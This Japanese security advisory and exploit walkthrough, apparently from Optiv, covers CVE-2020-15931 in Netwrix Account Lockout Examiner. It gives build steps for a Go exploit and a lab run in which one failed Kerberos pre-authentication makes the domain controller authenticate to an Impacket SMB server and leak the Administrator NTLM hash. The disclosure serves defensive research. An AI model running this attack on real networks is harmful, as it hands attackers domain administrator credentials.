
Netwrix Account Lockout Examiner (ALE) 5.1 より前のバージョンでは、認証されていないリモートの攻撃者が、攻撃者が制御するシステムへの接続を誘発し、ドメイン管理者権限を持つアカウントの NTLMv1/v2 チャレンジレスポンスを取得できます。ドメイン管理者アカウントは、インストールに必要な設定として製品にすでに構成されていることになります。攻撃者は、ドメインコントローラ上で Kerberos 事前認証失敗(イベント ID 4771)イベントを 1 回生成するだけで、この脆弱性を悪用できます。
この脆弱性の詳細については、次のブログを参照してください。

本脆弱性は、セキュリティ評価の実施中に、Optiv のセキュリティコンサルタントである Robert Surace(@robsauce)氏と Daniel Min(@bigb0ss)氏によって実環境で発見されました。CVE-2020-15931 の特定後、Optiv は直ちに Netwrix に連絡し、特定した欠陥を責任を持って開示しました。
エクスプロイトスクリプトは golang で開発されています。以下の依存関係をインストールしてください:
go get github.com/fatih/color
go get github.com/ropnop/gokrb5/client
go get github.com/ropnop/gokrb5/config
また、Impacket の smbserver.py を利用します。
pip install impacket
最後に、エクスプロイトスクリプトをダウンロードしてビルドします。
git clone https://github.com/optiv/CVE-2020-15931
go build cve-2020-15931.go
$ ./cve-2020-15931
_______ ________ ___ ___ ___ ___ __ _____ ___ ____ __
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ |
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
| |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || |
\_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_|
[robSauce & bigb0ss] v1.0
[+] Netwrix Account Lockout Examiner 4.1 Exploit Script
Required:
-d Domain name
-dc Domain controller
-u Valid username
Optional:
-h Print this help menu
Example:
./cve-2020-15931 -d target.com -dc 10.10.0.2 -u jsmith
(注:本稿執筆時点では、この攻撃はブラインドベースの攻撃によってのみ特定可能です。これは、対象組織がネットワーク上で Netwrix Account Lockout Examiner を使用してアカウント認証を監査しているかどうかを判断することが難しいためです。)
$ ./cve-2020-15931 -d bosslab.com -dc 10.10.0.2 -u b0ss1
_______ ________ ___ ___ ___ ___ __ _____ ___ ____ __
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ |
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
| |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || |
\_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_|
[robSauce & bigb0ss] v1.0
[+] Netwrix Account Lockout Examiner 4.1 Exploit Script
[+] DC: 10.10.0.2
[+] Domain: bosslab.com
[+] Username: b0ss1
[+] Password: wrongPass
[+] Event ID 4771 (Kerberos Pre-Authentication Failed) Triggered!
[+] If vulnerable, you will get a NTLMv1/2 of the Netwrix service account.
[+] SMB Server Started...
Impacket v0.9.22.dev1+20200607.100119.b5c61678 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.0.2,59264)
[*] AUTHENTICATE_MESSAGE(BOSSLAB\Administrator,BOSSLAB-DC01)
[*] User BOSSLAB-DC01\Administrator authenticated successfully
[*] Administrator::BOSSLAB:17dcc32c6eafc48d:f798e7c906eb1b639722614f1417ded1:0101000000000000be18...REDACTED...0000000
[*] Disconnecting Share(1:IPC$)
[*] Closing down connection (10.10.0.2,59264)
[*] Remaining connections []
Netwrix Account Lockout Examiner 5.1
イベント ID 4771
Impacket smbserver.py
Gokrb5 クライアント
CVE-2020-15931